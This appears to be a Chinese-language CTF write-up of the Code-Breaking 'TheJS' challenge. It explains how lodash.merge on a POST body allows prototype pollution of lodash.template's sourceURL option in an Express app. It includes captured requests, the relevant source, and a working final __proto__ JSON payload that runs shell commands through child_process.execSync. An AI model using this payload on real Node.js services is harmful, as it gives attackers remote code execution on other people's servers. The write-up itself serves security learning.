JavaScript Prototype 污染攻击 之 Code-Breaking-TheJS篇
学了JavaScript Prototype 污染攻击就来做下这个题
拿Express写的
add后的req包
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| POST / HTTP/1.1 Host: 127.0.0.1:3000 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Referer: http://127.0.0.1:3000/ Content-Type: application/x-www-form-urlencoded Content-Length: 79 Cookie: hd_searchtime=1551443821; hd_sid=laL1QJ; hd_auth=8f6b7ztjwHD%2FByzMLXklKqSNxKXEZD%2FFxLzCvLirfurAFNfzmrvSuNbIFGBn6armKNVERNllm5gEI1sZ6R6W; thejs.session=s%3A641ocDa2fYI6QXST-s-yySWeS5YQXZxB.Upc5QaTRXNjjNcSg%2BXlqCnATDL%2BYPzhcFqiLiX3Qojs Connection: close Upgrade-Insecure-Requests: 1
language[]=php&language[]=python&category[]=web&category[]=misc
|
源码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| ... app.engine('ejs', function (filePath, options, callback) { // define the template engine fs.readFile(filePath, (err, content) => { if (err) return callback(new Error(err)) let compiled = lodash.template(content) # 三个点 扩展运算符 # 使用方法:https://www.jianshu.com/p/1252bd871fb3 let rendered = compiled({...options})
return callback(null, rendered) }) }) ...
app.all('/', (req, res) => { let data = req.session.data || {language: [], category: []} if (req.method == 'POST') { data = lodash.merge(data, req.body) req.session.data = data } ...
|
三个点,将数组打散为序列
这里出现了loadhash.merge
合并函数
1 2 3 4
| if (req.method == 'POST') { data = lodash.merge(data, req.body) req.session.data = data //合并提交内容保存到session }
|
很显然 有原型链污染的可能性
当post 一个a
当继续post 一个b
可见 会保存到session
在node_modules\lodash\merge.js
找到函数
1 2 3
| var merge = createAssigner(function(object, source, srcIndex) { baseMerge(object, source, srcIndex); });
|
baseMerge:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| function baseMerge(object, source, srcIndex, customizer, stack) { if (object === source) { return; } baseFor(source, function(srcValue, key) { if (isObject(srcValue)) { stack || (stack = new Stack); baseMergeDeep(object, source, key, srcIndex, baseMerge, customizer, stack); } else { var newValue = customizer ? customizer(object[key], srcValue, (key + ''), object, source, stack) : undefined;
if (newValue === undefined) { newValue = srcValue; } assignMergeValue(object, key, newValue); } }, keysIn); }
|
第二个函数模板引擎lodash.template
1 2 3 4 5 6 7
| //options var sourceURL = 'sourceURL' in options ? '//# sourceURL=' + options.sourceURL + '\n' : ''; ... var result = attempt(function() { return Function(importsKeys, sourceURL + 'return ' + source) .apply(undefined, importsValues); });
|
options
为我们在模版引擎中,渲染的值
当options
有值时,sourceURL
如下
options
为空时,sourceURL
为空
于是该属性的值可控
所以 当污染到options.sourceURL
属性时,就会使Function函数执行任意代码
关于Function函数
绕过require
https://xz.aliyun.com/t/4361#toc-2
1
| global.process.mainModule.constructor._load # 与require作用相同
|
所以 执行命令的方法
1
| global.process.mainModule.constructor._load("child_process").execSync("id").toString())
|
Final Payload
于是 思路
通过merge函数的污染->污染options.sourceURL的值
这里需要sourceURL返回一个function,否则会报错,一开始不理解这个点,请教了@l0ca1师傅
1
| {"__proto__" : {"sourceURL" : "\r\nreturn e = () => {return global.process.mainModule.constructor._load('child_process').execSync('dir').toString()}\r\n"}}
|